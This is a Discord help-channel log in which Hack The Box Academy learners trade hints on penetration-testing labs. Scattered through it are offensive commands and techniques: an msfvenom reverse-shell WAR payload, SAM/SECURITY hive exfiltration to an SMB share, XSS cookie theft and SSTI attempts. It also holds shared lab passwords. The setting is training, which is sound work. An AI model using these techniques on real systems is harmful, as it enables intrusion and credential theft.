modules

[cloud urchin]

i did it with my own kali vm

[sterile epoch]

lemme try with my own

[soft cedar]

Try it with the other domain.

[sterile epoch]

its in progress but its slow

[sterile epoch]

almost there

[dreamy solar]

Hello man I have a problem I must to exec this tools but there arent' possibilty to update and to have my librairu

[sterile epoch]

it went back

[fringe urchin]

Installed windows with dual boot on mac. Hating macos till this day. Couldnt run most of my c# programs in college without changing stuff.

[dreamy solar]

Hello

https://academy.hackthebox.com/module/158/section/1439

I search the direcotry but it is not here

[next bronze]

We can start by downloading the appropriate binaries to our attack host to perform this attack.

[stuck pier]

Pls guys I hve successfully access the script but I’m still struggling with the right script to automating going through each module one of the other or if someone have a easy method to get the hidden flag let’s he or she help me, this it’s user7 ? Of windows command line skills assessment 🙏🏻

[sterile epoch]

its still stuck

[tiny pendant]

Hi im on the “initial enumeration “ section on the Active Directory module where we should use xfreerdp into a user so we can scan the network with wireshark,nmap but i cannot get xfreerdp to work since the section only gave me a username (htb-student) and an ip address of (172.16.5.0/23), what do i do?

[lavish mango]

Try HTB_@cademy_sdnt! or Academy_student_AD!

Otherwise check the current or previous pages and try one of those passwords.

[proven panther]

Hi. im on the linux privilege escalation module, think im being stupid but im on the first question (enumerate the host and look for interesting files that might contain sensitive data). Been on it for 30mins tried to access anything i can think of and anything the modules mentioned so far and i have nothing. Anyone got any ideas?

[soft cedar]

you can grep for the flag. think about how the pattern or format of the flag will be like.

[proven panther]

Surely theres a better way to do it than that? And i cant just grep throughout the whole system can I wouldnt i have to know which file its in etc?

[frail thicket]

Can someone help me with the section "Weak Public/Private Keys" in the "Attacking Authentication Mechanisms" module?
I have completed the module and the skill assessment, except for the "Weak Public/Private Keys" section. I followed all the instructions but it doesn't work. Any help is very much appreciated.

[soft cedar]

why not?
you can just redirect the stout to discard the errors.

the flag you are looking for might not be your generic "flag.txt" or "666somethingflag.txt"

[proven panther]

So i can just do grep "*flag.txt" 2>/dev/null ?

[soft cedar]

no, you are using grep to search for strings in a file.

[proven panther]

Yeah thats what i mean, ive searched across the whole system but cant seem to find a file that would provide me the flag. I could do grep "HTB*" if i knew the file right?

[soft cedar]

*if you knew how the format of htb flags are.

grep is used to search for the pattern of a string within let's say a file.txt.
find is to search for files named file.txt

https://www.wikihow.com/Use-Grep#:~:text=Things You Should Know 1 The syntax to,use grep -R to perform a recursive search.

[proven panther]

Yeah i get that, but I cant find any files where the flag would be in, i cant see how grep is going to help me with that since ive looked through the files manually and cant find a flag

[soft cedar]

maybe you are not adding the correct switches.

grep -irl
the options are explained in the command line, or in the article ^

[proven panther]

Im not sure you understand my issue, the whole thing is the question asks to enumerate the system to find interesting files which may contain a flag. I've gone through all the ones its mentioned in the module so far (not many since this is the first question) and any more i can think of from other modules ive done. Nothing comes up. I dont wanna cheese it and use grep since thats clearly not the point of the question

[soft cedar]

this is one of those sections where trying everything shown out there won't get you the answer ¯_(ツ)_/¯

and using grep is not cheesing

[proven panther]

i see, so the only way to do it is to use grep? but then also how am i meant to know what file the flag will be in using the find command doesn’t give me anything? sorry im making this difficult

[soft cedar]

you wont, that's why you are using grep.

you can read my earlier mgs, if the flag was named flag.txt, you can just use find.

you will know the file name and the loc, after grep has searched for the format of the flag.

[crystal rampart]

hey i am new. i was thinking of taking SOC path. but its specified as medium difficulty. i am noob. where do i start for SOC?

[soft cedar]

just think of how the format of htb flags are.
and use it in; grep -irl "xxx" / 2>/dev/null

[proven panther]

so from the home directory i do grep -irl “HTB” 2>/dev/null?

[soft cedar]

thanks for pointing it out, no it should be
grep -irl "xxx" / 2>/dev/null

It will start from the root directory, you can issue it anywhere.

[proven panther]

I see ill give that a shot and see how i get on thank you

[frozen mesa]

Linux privilege escalation -- skills assessment: need to get flag 4 and 5. I have credentials for the Tomcat application but i cannot find a way to exploit it (war files dont upload, MSF modules didnt work). Anyone a nudge?

[proven panther]

That hasnt worked i just ended up with a insanely huge list of paths?

[soft cedar]

You are probably generating a wrong payload with msfvenom.

[soft cedar]

What was your command?

[frozen mesa]

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.168 LPORT=1337 -f war -o revshell.war

[proven panther]

grep -irl "HTB" / 2>/dev/null

[soft cedar]

Use the one here #modules message

[dim wolf]

take a look at the SOC Analyst Prerequisites skill path

[soft cedar]

The string HTB can be contained in a lot of files

[dim wolf]

i would also do Information Security Foundations

[soft cedar]

What next character usually comes after that in the flag?
Add it.

[proven panther]

got it now, so is the only way to do this question by using grep?

thanks youve been so helpful

[soft cedar]

Not the only way, but this is a simple regex.

[proven panther]

I see, feel like that question could be worded differently. When its specifically asking to enumerate for interesting files that might contain senstive data youd assume it wouldnt be in a filename that isnt interestingly named

[soft cedar]

Yup, one of “those” sections.

[proven panther]

Fingers crossed the rest of the module isnt like this, one of the bad things about HTB is the modules have no consistency in quality between them

[soft cedar]

The module is nice, it’s just a poorly worded question I think.

[frozen mesa]

Something I experience a lot; magic questions that take sometimes long before you understand what they are asking. Luckily there is a good support here 🙂

[dim wolf]

i'd argue interesting file contents can have equally interesting file names, e.g., password.txt has a password in it, and you can easily find that by doing find / -name '*password*'

[soft cedar]

Yeah true, but in this particular sec, the file name was changed too lol

[dim wolf]

😦

[soft cedar]

unless you add with awk or something,

[dim wolf]

<@&861185840277487616>

[torn flare]

Hey y'all, got a question about prereqs for y'all. Sorry for the many words.

Been working towards a different certification (not on HTB) and was unsatisfied with their training materials, so decided to switch my primary learning platform to HTB for the rest of the info I needed for that cert. So I'm picking and choosing stuff from the CPTS path to learn, making sure I understand the stuff covered in the listed prereqs for each module before starting.

So, I was working through "Pivoting, Tunneling, and Port Forwarding", and everything was going super well until I got rather stuck on one question in the "Skills Assessment" section. When I checked the hint, it referenced ||LSASS|| which is something I've not touched on at all quite yet. I figured learning about that subject would come in modules about Active Directory, which are not listed as prereqs to this module, and come much later in the CPTS path.

Is there some prereq I didn't see and that I'm missing, or something I misunderstood about knowing "what I should know" before getting started on a module? Or is this something that should be adjusted to help with students' expectations?

[proven panther]

@soft cedar Hate to be asking again so soon, but the next question asks for the latest version of python on the target. I do python3 -VV and get 3.8.10 but apparently this is wrong?

[soft cedar]

Yeah, there’s a prereq found in Password Attacks module.

[torn flare]

Ahhhhh, gotcha. Thanks a bunch; didn't figure I'd find that there, but that makes sense!

[soft cedar]

iirc I used find to search for the python3 path or strings maybe.

[proven panther]

Got it, that hint helped thank you

[high reef]

Morning all, has anyone done this section

[soft cedar]

It would be easier for people to help if you just ask your question.

[limber river]

The hardest section in all the CPTS xD

[lilac vault]

Can devin AI write down creepy malware& ransomware

?

[trail badge]

Hey folks, I'm stuck at Password Attacks - Medium Lab. I've got the zip file and a couple of usernames but I've had no success with password cracking so far. Could you please give me a nudge here? Let me know if I can DM you if you have completed this lab.

[soft cedar]

Find a way to crack the zip.

[hexed ravine]

Hi guys ! i m working on htb academy introduction to file inclusion and on the automated scanning section i found the unique flag present but it doesnt work. (i m a beginner but i've played htb for some hours now and i think this is a bug) Can someone help me ? 😄 thanks a lot !

[runic depot]

https://academy.hackthebox.com/module/233/section/2554 for this section, splunk is not loading at all. tried yesterday and today, and it isn't working for my friend either

splunk is loading for leveraging windows event logs though

[plucky latch]

Not a fan of Citrix Breakout section in Windows Privesc module... Making me real angry, hope the rest of you are having a better Tuesday than I am.

[plucky latch]

My condolences

[shut quest]

It's possible that box is used for a different section along with what you're currently doing or accidentally left there from some other use.

Or if you are certain it's the correct flag make sure there are no extra spaces and it's formatted correctly.

[modest girder]

Can I PM anybody about Attacking Common Services / Attacking DNS?

I can't get subbrute to work after resetting the box. Looked through every other response here and feel like an idiot rn

I am using pwnbox

[fathom pendant]

Put the ip in the resolvers file or w/e it's called

[modest girder]

omg

you're my hero

[modest girder]

[shut quest]

Make sure it's the resolvers for subbrute, should be the same directory.

[runic depot]

someone check out if their splunk loadshttps://academy.hackthebox.com/module/233/section/2554

Target IP:8000 not working in the zeek but working in the windows event logs section

[short zenith]

are the labs not working?
downloaded new vpn and restarted the machine several times I'm on windows privilege escalation interacting with users

[dense pollen]

yeah seems my target isn't spawning either, but a different module

[modest girder]

Don't use eu-academy-exams-1 if you were using that

[dim wolf]

which module is this

[modest girder]

under maintenance

[runic depot]

that is splunk with windows under the zeek section

[dense pollen]

nvm, my target spawned after a few minutes

[dense pollen]

maintenance is on 16/4 no?

[dim wolf]

https

❌

[soft cedar]

Contact fb

[runic depot]

interesting comment

[dim wolf]

use https to access splunk

❌

contact facebook

[next bronze]

<@&861185840277487616>

piss off bot

[runic depot]

dont click that link people

[dim wolf]

did you try https?

[runic depot]

https works

[dim wolf]

ok good

[solid python]

got it

[west rampart]

what did i miss?

[next bronze]

the link too

[west rampart]

free steam?

[next bronze]

idk some facebook thing

[solid python]

nah, hack my facebook account shit

[west rampart]

crypto?

[dim wolf]

facebook account recovery

[dense pollen]

facebook "account recovery"

[west rampart]

ahhh

good that i don't have FB 😛

[fathom pendant]

Second one got deleted as I replied to it

[solid python]

I got it brotha

❤️

[runic depot]

i dont got cwee i don't know how to do website stuff

[dim wolf]

well it's illegal anyway

[fathom pendant]

You don't need cwee to do website stuff

But also hacking and doing account "recovery" is illegal

[dim wolf]

bloke sent me a friend request

[next bronze]

20 week streak

[acoustic owl]

6 more, then there's the next badge

[next bronze]

I'm actually running out of modules to cheese with, time to do more

[hexed ravine]

yeah i ve been speaking with an admin and i accidentaly swap machine from academy to lab machine and retrieve the flag from htb lab 😛 at least that s cool !!

[dire abyss]

https://academy.hackthebox.com/module/143/section/1486

need help: stuck on at this section. for context I study on my work computer.. at work. and other times at home. So my notes are split up and not ideal i know. the write up here uses "wley" to change "damundsen" password. I tried following exactly that but "damundsen" either doesnt exist or I am missing wley's password. OR im supposed to use ||"forend"|| user from the previous section? either ways im assuming im missing ||forend|| or wleys password right?

using that first line in PS "$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force" .. <PASSWORD HERE> actually needs a password.

[fathom pendant]

Usernames and passwords are reused in this module

[shut quest]

That section is a walkthrough, so you will need wley's password

[dire abyss]

thanks guys! I dont have notes for that section on my work computer

[fathom pendant]

You use the creds of the user to authenticate that you are who you say you are to authorize the password change

[dire abyss]

gotta redo a section to gain wleys password

[fathom pendant]

I suggest using a sync method like pushing to a private gitlab/github instance for notes

[dire abyss]

ive never tried writing my notes there but I should start

[brazen saffron]

The part of Python in this section : https://academy.hackthebox.com/module/145/section/1343 is to explain how works SSTI in Jinja2?

Because I just used a tool to have a shell.

[cursive oriole]

Hi in Active Directory Enumeration & Attacks (Module) : Initial enumeration of the domain (Section),
the command : "kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users" is used to enumerate for valid users.

But the -o flag or the --output doesn't seem to work. Further down when i cat the file nothing seems to be in the file "valid_ad_users".

Should i restart my session or should i reinstall the tool on attack host (attack01)?

[dire abyss]

is there a way to read what I wrote for "$Cred" in powershell?

[fathom pendant]

Echo $Cred

[dire abyss]

Thanks ❤️

[shut quest]

Does the file exist?

[dire abyss]

okay new error, WARNING: [Set-DomainUserPassword] Unable to find user 'damundsen'

[ancient parrot]

hello, i'm stuck at the attacking SAM in Password Attacks Module. I tried to get the system.save by many ways with no luck, even i connect my windows to OVPN try to copy from share folder , any hints?

[coral flare]

What ways to extract files from the victim system to your host have you learned about in this module?

[ancient parrot]

yes, it's smb, i also tried something like ftp but alway network error

[coral flare]

Are you connected to the target in any way?

Are you using the pwnbox or a vpn connection?

[ancient parrot]

yes, elvil-winrm also no luck

[coral flare]

Why are you not using rdp?

[ancient parrot]

my ping to the pwnbox always over 200+, i cant

[coral flare]

Do you have a local vm set up?

[ancient parrot]

yes

[coral flare]

So connect via VPN to the academy network then RDP to the target host.

Then leverage the tools and techniques you have been taught in the module.

[fathom pendant]

Also most rdp tools have a drive mount option

Xfreerdp has /drive: for instance

[coral flare]

Sure you can do it but it is just as easy to just follow the instructions of the module.

[fathom pendant]

Well yeah

[ancient parrot]

tried

[fathom pendant]

Is that the sharename and such?

[ancient parrot]

that's example from AI

[fathom pendant]

Well AI doesn't know wtf it's doing

You can't replace critical thinking with AI

Using xfreerdp, add /drive:name,/tmp/

[ancient parrot]

i went to the mount point, when i use "cp" command, my VM was frozen in about 5 mins then i turn off my VM

[haughty stirrup]

Many ways like smbserver, u can even straight up do python web server and just put the file on ur server

[coral flare]

Mate, they literally give you everything that is needed in the module. Just read it again from the top.

[haughty stirrup]

using iwr

[next bronze]

like the module itself literally walked you through how to do it

[fathom pendant]

And you'll see the <name> pop up in the file explorer

[haughty stirrup]

[coral flare]

It is move not "cp" but "move".

[next bronze]

cp works in powershell

[coral flare]

Spin up the smb server with impacket then move the files to smb share via cmd and "move" command. That's it.

[coral flare]

Ofc it does but he should stick to what the module is teaching as he is already having trouble with that.

[ancient parrot]

move system.save \10.10.x.x\CompData
i tried this first, in about 1 hour then respawn the target, no luck...
i think the size of file is problem

[fathom pendant]

It's not the size of the file

Did you open an smb share named CompData

[coral flare]

Moving the file will take less then 10 seconds.

[ancient parrot]

maybe I'll try again after going for a walk, thanks guys...

[solid escarp]

ls and curl does too. I think curl in powershell is basically an alias for Invoke-WebRequest

[ancient parrot]

Actually, the first method works, but it keeps having connection errors during the file transfer process and leads to the file not being completely transferred (I compared the file size and the transferred file is still in protected when using rm) but lost connection, I've been trying continuously for hours, it's tiring

[next bronze]

yep so does wget, they're just aliasing similar ps cmdlets to the linux equivalent

[ancient parrot]

these completely work:
C:> move sam.save \10.10.15.16\CompData
1 file(s) moved.

C:> move security.save \10.10.15.16\CompData
1 file(s) moved.
but the last was not

[glacial raft]

how is this not 6??

@fathom pendant

[next bronze]

ssh in my guy

[ancient parrot]

I tried compressing it directly on windows its size was only 2.2 mb but still the same

[fathom pendant]

Because you need to ssh to the target

[fathom pendant]

Again: it's not the filesize lol

I was able to do the raw file just fine

[glacial raft]

i did that and 20 is still not correct

[glacial raft]

is the command i use correct?

[analog dock]

If you’re ssh in, that command would be fine ig

But then you have to answer it correctly still

No localhost, and ipv4 only

[solid escarp]

Look at the ports too. You have services using tcp and tcp6. Each service will bind to its own unique port.

[glacial raft]

does that mean "NO LOCALHOST"... "SELECT IPV4 ONLY"

[glacial raft]

.

[analog dock]

?

[glacial raft]

look above at what i said

[analog dock]

It means exactly what I said

[next bronze]

I'm able to get the answer pretty easily

maybe take a look at what the question is asking

[fathom pendant]

It means those not listening on loopback or ipv6

[glacial raft]

bruh. even this didnt work: netstat -l| grep -v "localhost" | wc -l

[shut quest]

Bruh, loopback is also 127.0.0.1

[fathom pendant]

And in netstat it will show as the ip, not name

[glacial raft]

this didnt work either: netstat -tuln| grep -v "localhost|127" | wc -l

|

*netstat -tuln| grep -v "localhost|127" | wc -l

[shut quest]

\ escape

[fathom pendant]

Wrap the command in backticks

[glacial raft]

theres an absense on forwad slash biut i used it

[fathom pendant]

Btw

like this

[glacial raft]

oh yh.. i knew that

[fathom pendant]

Try just evaluating the output without wc

Because it looks like it's also counting ipv6

Which the question explicitly tells you only ipv4

[next bronze]

huh? 127 and localhost?

[fathom pendant]

(Not on localhost and only ipv4

[placid rover]

Has anyone done the new Orion prolab?

[next bronze]

oh -v, derp

tbh, just look and count

[shut quest]

In seriousness, get rid of your wc, and count them manually, you're looking for tcp, and not tcp6, and IPs of 0.0.. or the IPs of the box

[fathom pendant]

Wrong channel my dude I don't think there's a channel for it yet but you can read and follow #welcome to access more of the server

[glacial raft]

but arent ipv6 addresses 16bits blocks? im not seeing 16 bit blocks in the list

[glacial raft]

ips of 10.0.0 is good right?

i apologize to everyone

this was the error....

i never read it.. just saw error

dont block me

[shut quest]

Possibly, I don't remember which module/section you are working on and if it's a fundamentals I don't have notes for it.

[next bronze]

just count all 0.0.0.0 and ignore udp

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[glacial raft]

well, you can see this as an opportunity to improve the usability of the site

make the error say " MODULE ERROR" instead lol

[fathom pendant]

Ipv6 are 1111:2222:3333:4444..., loopback on ipv6 is ::1

Anytime you see :: it's an implied 0000

[brazen saffron]

https://academy.hackthebox.com/module/145/section/1346

I am trying to inject ||SSTI|| because it's a ||python server|| and should use ||flask|| but I tried some payloads to test if I was in the good direction but no one works for this type of vuln. By the way, I tried to use a tool (||SSTIMap||) but nothing as well (default level).
Moreover, in the module we have ||2 args/parameters|| and the final test tell us this : ||"without register an account"||, but I tried to see something in the different ||POST|| request (||register and login||) but only ||register|| was showing the something correctly if we spam it with same values, but no vuln discovered, I don't know what to do :(.

[fathom pendant]

And it can span any number of sets

[glacial raft]

ahhh i see

[fathom pendant]

So 1::1 would be 1:0000:0000:0000:0000:0000:0000:1

Also: according to standard there can only be one :: in an ipv6 set

[glacial raft]

thanks for eplaining

imma sub again

[fathom pendant]

So you can have 1::2:0000:0000:3

But not 1::2::3

Convention is to truncate the longest stretch of 0

[glacial raft]

i see. :: can be 3, 4, 5 or 2

[fathom pendant]

Or 7

In the case of ::1

[glacial raft]

perfect eplanation there. so much knowledge

[analog dock]

Should just watch a tutorial on networking

[fathom pendant]

basic networking stuff ¯_(ツ)_/¯

[glacial raft]

ive taken the cisco course on network fundamentals

[analog dock]

Retake it

[glacial raft]

im taking it*

should i do that first then come here or...

[analog dock]

Well fundamentals are important

[glacial raft]

u kno what funny. I started doing the pen test job path, then someone recommended i go for linu fundamentals. So i began doing that, and now yall telling me to go back to network fundamentals

when i start doing that, theres gonna be someone teling me to go back to ABC fundamentals lol

[brazen saffron]

If someone know 🥺.

[ancient parrot]

I surrender

[analog dock]

You need network and Linux fundamentals. Actually there should be a fundamental path on academy

Not sure in what order they do it, but I’d work through that

[fathom pendant]

It's like halfway down that list

[wanton idol]

u sure u set up the smb correctly?

[ancient parrot]

I think I was right, because I was able to get sam.save and security.save

[glacial raft]

this pentesting thing was a lot easier in uni. Literally scored a distinction

[fathom pendant]

Well it likely wasn't as in-depth

[ancient parrot]

I will try hashdump with metasploit

[wanton idol]

which module u doing?

[fathom pendant]

Why hashdump?

Secretsdump works fine for sam and security saves

[glacial raft]

it was very fun. had to perform various attacks to get into a target system

[fathom pendant]

Again: likely not as in-depth

[wanton idol]

^

[ancient parrot]

I want to experience everything they mentioned in the module, it seems impossible

[fathom pendant]

And sounds like potentially they just gave you attacks and commands they run

[fathom pendant]

Sometimes you can't do everything from the module, but I don't recall using hashdump for this section

I've barely touched metasploit except where it was explicitly the only showcased option

[glacial raft]

all that for a fancy degree

[fathom pendant]

That's worth little-to-nothing

[ancient parrot]

Have you ever tried this module? Did you get the system.save file?

[brazen saffron]

Well I looked at the forum and imo it's...disappointing.

[fathom pendant]

If you followed the section it should have had you create a sam, security, and system iirc

System isn't always required but sam and security are

[glacial raft]

sadly so

[fathom pendant]

Just checked: it's literally the first thing it has you do is create a sam, system, and security.save file

[ancient parrot]

These modules are more of a headache than the lab

[wanton idol]

bro is stressed

[fathom pendant]

I suggest taking a break

[valid viper]

I'm under the shells module and am trying to get the version of Powershell running on pwnbox to answer the challenge via $PSversiontable and am getting back 7.2.1

Am I missing something?

[ancient parrot]

Well, thank you guys, maybe I was thinking too much, I'll simplify it with crackmapexec

[next bronze]

edition, not the version

[fathom pendant]

^

[valid viper]

😐

Thank you.

[fathom pendant]

Reading: 1 :: UriEl: 0

[valid viper]

      MMMM_    ,..,
        "_ "__"MMMMM          ,...,,
 ,..., __." --"    ,.,     _-"MMMMMMM
MMMMMM"___ "_._   MMM"_."" _ """"""
 """""    "" , \_.   "_. ."
        ,., _"__ \__./ ."
       MMMMM_"  "_    ./
        ''''      (    )
 ._______________.-'____"---._.
  \                          /
   \________________________/
   (_)                    (_)```

Have a bonsai tree 😛

[fringe urchin]

Looks like a bath

[hasty falcon]

can someone help me with unfied

[fringe urchin]

[fathom pendant]

Not here

Read and follow #welcome to access #starting-point

[hasty falcon]

kk

[fringe urchin]

Ayo wat

[valid viper]

Froginnablender.

[hasty falcon]

thanks

[fathom pendant]

Banned

[cursive oriole]

Yea

[valid viper]

:/

[fathom pendant]

I've had this issue too

[young flume]

Bypassing Blacklisted Commands
hey some one can help me to this section in command injection module

[patent oak]

Hi guys! I hope you're well. I'm trying to use Responder with Pwnbox. RDP into target. RDP won't work from Kali for some reason and Pwnbox has port 80 in use. I tried to kill it but no joy. Is this a thing? I'd really love to use Repsonder right about now 😄

I'm on Interacting With Users, Windows Priv Esc

Trying for some malicious SCF action

Nevermind. I'm a silly sausage.

[cloud urchin]

sure what's up

[young flume]

thanks bro but i did it

[signal laurel]

Can I DM someone to get a second set of eyes for my payload on the Http Attacks skill assessment

[wanton idol]

question, im doing the sqlmap essentials module Running SQLMap on an HTTP Request. so on the last question it says its vuln to sqli in a json value. im just looking if there is a better way to get the json request and how would we know to check for the json before hand bc this just tells you its in a json request. i went into burp since i couldnt find the json via curl

nvm nvm im just being dumb lol

[astral inlet]

1 to go

[wispy dragon]

hello I'm very new to htb academy and im currently going through path infosec foundations.
Do I really need the windows and linux pentest environment that are set up in the modules?
More specifically, later introductions modules like "bash scripting" require these VMs setup?
I thought pwnbox would suffice, as a beginner, but maybe its better to set them up for the long run(?)

[patent niche]

Practical Digital Forensics Scenario

Extract and scrutinize the memory content of the suspicious PowerShell process which corresponds to PID 6744. Determine which tool from the PowerSploit repository (accessible at https://github.com/PowerShellMafia/PowerSploit) has been utilized within the process, and enter its name as your answer.

On this question we are supposed to look at the link itself or the process mentined on the module? because I look it up like windows.pslist. windows.cmdline and the encoded command can't find anything usefull... I am misisng somethin here?

[dim wolf]

the link is for reference, it has a list of tools to choose from

check interesting logs that could be related to the execution of PowerShell commands

[fathom pendant]

The fundamentals cover more than the pwnbox and labs. They are broad fundamentals for windows and Linux and basic scripting

[wispy dragon]

got it, thanks

[shell vessel]

I recently switched from windows to Linux. It literally feels like I broke out the matrix. Linux so much better and has so much more mercy on my low RAM PC.

[pine dagger]

linux is like reading the matrix code

[shell vessel]

Yes I still have much more to learn. But so far I never knew I could love a operating system this much. I love Linux as much as I love my puppy.

Long Live Linux!

[dire abyss]

https://academy.hackthebox.com/module/143/section/1489

if im understanding this correctly, I need to move 'secretsdump.py' to the parrot host on 172.16.5.225? I tried looking for it there but dont see it. My attack host (vm) cant see 172.16.5.255... unless section wants me to use port forwarding?

[fathom pendant]

@dire abyss nope the parrot host already has secretsdump. The attack hosts in this module already have the required tools

Also you can access the parrot host via ssh on the target

[dire abyss]

yeah I ssh'd with powershell and have it up right now from MS01

im not in deep, let me respawn

[fathom pendant]

You can open powershell then ssh

[fathom pendant]

You don't need to respawn

[dire abyss]

alright about to clock out from work, ill jump back on from home, thank you

[burnt stone]

let's keep this ontopic, please.

@valid viper

[novel hinge]

am i doing this wrong? trying to get the flag for julio

[kindred sparrow]

Never had this problem before but I cant RDP to a target. Wondering if anyone can tell what I am doing wrong. Iv also reset all machines. ──╼ [★]$ xfreerdp /v:10.129.19.50 /u:Administrator /p:AnotherC0mpl3xP4$$
[01:53:49:913] [5042:5043] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[01:53:49:913] [5042:5043] [WARN][com.freerdp.crypto] - CN = MS01.inlanefreight.htb
[01:53:49:114] [5042:5043] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[01:53:49:114] [5042:5043] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[01:53:49:114] [5042:5043] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[01:53:49:114] [5042:5043] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

[valid viper]

Try remmina

[kindred sparrow]

remmina? I hardly know her.

(looking into this)

Oh... gui

interesting

Well I'll be... that worked

hrm... I wonder why xfreerdp is broken

[cloud urchin]

says logon error

[wanton idol]

maybe do xfreerdp /v:10.129.19.50 /u:Administrator /p:'AnotherC0mpl3xP4$$'

[faint monolith]

the target is not spawning for https://academy.hackthebox.com/module/176/section/1791

was on this module trying to progress despite the latency when it seems to suddenly crash. respawning the target left me waiting for the past 20 minutes.

[woven zenith]

Hello! I'm having trouble with this, I get what your saying to convert the time and all that, I just have no idea where this stuff goes in the reset_token_time.py script and the module gives ZERO help on it, just assumes i know where stuff goes in the code. Any help on this would be awesome thanks!

[valid viper]

remmina > xfreerdp 😛

[marsh fulcrum]

Looks like a problem with certificate, I had an old lab machine that gave me a cert error and using the option /cert-ignore it worked, try it

[limber river]

Skill issue

[valid viper]

You're so original 😁

People like you are why I love this field, truly.

[limber river]

Hahaha I just prefer xfreerdp

[valid viper]

I don't.

It doesn't work most of the time. I have better things to do than troubleshoot broken tools.

[dim wolf]

afaik xfreerdp works just fine out of the box

[limber river]

It's not broken, maybe you have bad version or there's some missing library

In my machine it just perfect

[valid viper]

🤷‍♂️

[loud dagger]

is it worth doing the infosec fundamentals path before the cpts path or does the cpts path teach you the fundamentals?

[cloud urchin]

it was what pixelrazer said, he didn't have the password in quotes and it has chars linux ignores

[valid viper]

It gets down to basics pretty thoroughly.

Depending on what you're referring to.

It's incredibly thorough, I'll say that much.

[loud dagger]

infosec fundamentals path has stuff like intro to windows and linux, intro to command lines, intro to networking, intro to AD, a lot of intros and i think all the fundamental modules

idk how much of that is covered by cpts

and idk if i want to spend my time on the infosec fundamentals path before i do cpts if the cpts path is just going to cover all of it anyway

[valid viper]

Oh neat. Yeah if you don't know Linux or how to use a shell...

I would probably do that first.

[loud dagger]

i mean there’s a lot of it i already know

i might just skip around the infosec fundamentals path

actually it probably couldn’t hurt

[dim wolf]

the infosec fundamentals path is a prerequisite to the cpts path

so you're expected to know everything from that path

if you're not up to snuff, perhaps you should do it

[loud dagger]

will do, thanks

[limber surge]

Nibbles -initial footprinting

Gain a foothold on the target and submit the user.txt flag

i know that there is an admin.php under /nibbleblog/admin.php but how can i login? use hashcat? i know the username credential, which is admin

[novel hinge]

didn’t you learn a basic reverse shell in that module? i would try that. i dont think hashcat is used for that lab

[limber surge]

but i haven login to the page yet to access the plugin tab

[novel hinge]

i dont think you dont need to login, you need to enumerate more.

[next bronze]

well you'll need some basic python knowledge for this, the conversion needs to be done once to set the now variable

[brazen saffron]

How long time I am supposed to wait? https://academy.hackthebox.com/module/57/section/491

[rustic sage]

Good day, can someone point me to help me ask this question. List the server carefully and look for the flag.txt file. Please submit the contents of this file in response. module -> Footprinting

[cloud urchin]

what section and what are you stuck on

[split bone]

Hi guys

I need someone now to get answer for Nearpod app

If any one can help😁

[dark aspen]

Hello, is there anyone that could give me a little hint about xss assessment? I think I'm doing everything right, but I can't get the cookie. I found the vulnerable field, I found the correct payload, and I can see traffic on my php server, but there is no cookie saved.

Of course tried like 15 different payloads to get the cookie

[rough tree]

Is it only me who is having issues to move files to the windows vm in advanced deserialization attacks module?
Specifically the debugging .net apps where I am supposed to load the given website in a iis but the machine is extremely unstable and rdp connection dies every minute or so 🤔

[stark wraith]

guys how i can earn htb cubes cause im stayed at 30 cubes (im beginner)

[cloud urchin]

<@&861185840277487616>

[shadow cradle]

Each module can unlock a certain amount of cube ( answering to questions and task) or you can buy them in the academy shop.

[rustic sage]

footprinting easy lab

[fathom pendant]

Make an educated guess based on the box name

It's also given in the section

[dark aspen]

I also do not understand why for example the same payload works for the 5 times in a row, and then stops working and suddenly I can't see trafic on my php server. Not gonna lie - im getting frustrated, because I really think there is something off about the vm

[fathom pendant]

With money

[nocturne reef]

@killnet_edc not long 2 minutes max

[velvet talon]

i need Amazon gift card pls

[fathom pendant]

And I need $10000

[velvet talon]

same

[fathom pendant]

Why do you "need" Amazon cards?

[velvet talon]

Because

[west rampart]

You can buy them on amazon

[velvet talon]

i have no moneys

[west rampart]

then you can't get them

[velvet talon]

ahhhhhhh

i will be a super baby

suger

[west rampart]

wrong server

[velvet talon]

ahh

[next bronze]

lmao

new shit here every day

[remote latch]

HTB should start making amazon cards giveaway

-s

[patent oak]

Does anyone know what I could have done to block incoming connections to Kali? I have UFW but even disabled, I can't catch revshells on tun0. Can't use simple server to host. I've tried testing it using the same address from the same machine and everything works right. I think UFW did something that I can't find/undo.

[haughty jetty]

Hey everyone, hope I am in the right place for this question:
I just started with HackTheBox and am currently on the "Redeemer" level, which requires me to access a Redis DB by using "redis-cli -h <IP>".
After running that command, nothing happens - my console seems stuck trying to connect and I have to opt out with control + c.
Any idea what the issue could be? I am using the Parrot OS.
My nmap scan also took unusually long (around 20 seconds) compared to the previous levels I did.

The IP in question is 10.129.32.193, in case that helps.

[fathom pendant]

This channel is for htb academy modules, #starting-point is for the starting point machines, read and follow #welcome to access it

[haughty jetty]

Apologies 🙂

[undone narwhal]

can you post a Screenshot of your payload? im assuming it a valid payload since it worked 5times already

[undone narwhal]

Pls Post a screenshot and the name of the module

[graceful mortar]

[broken aurora]

Guys i spawned the Citrix Break exercise from Win privesc module . For the past 15 min it doesn't give me an ip , just spinning forever

[weary goblet]

Hey, there is this one question in "Scanning Services", where it asks for software version of application running on 8080. However, the intended way doesn't work since nmap doesn't recognize the version, and the version from fingerprint does not work

[graceful mortar]

Try the name of the service

[graceful mortar]

With 2 words

[weary goblet]

ayee that's it, thanks!

[fathom pendant]

It's looking for the answer in the "version" column

[weary goblet]

right, but that one is empty for 8080

[brazen saffron]

Well I was waiting for more than 15 min...

[tulip dragon]

hey i am on sqlmap essential case 5 , i get the flag but it broken in to htb{blah_blah}_blahblah}

what should i do

https://academy.hackthebox.com/module/58/section/526

[brazen saffron]

What did you do to get it?

[fathom pendant]

Sometimes it's dumb fron what I remember, but you got the answer yeah?

[weary goblet]

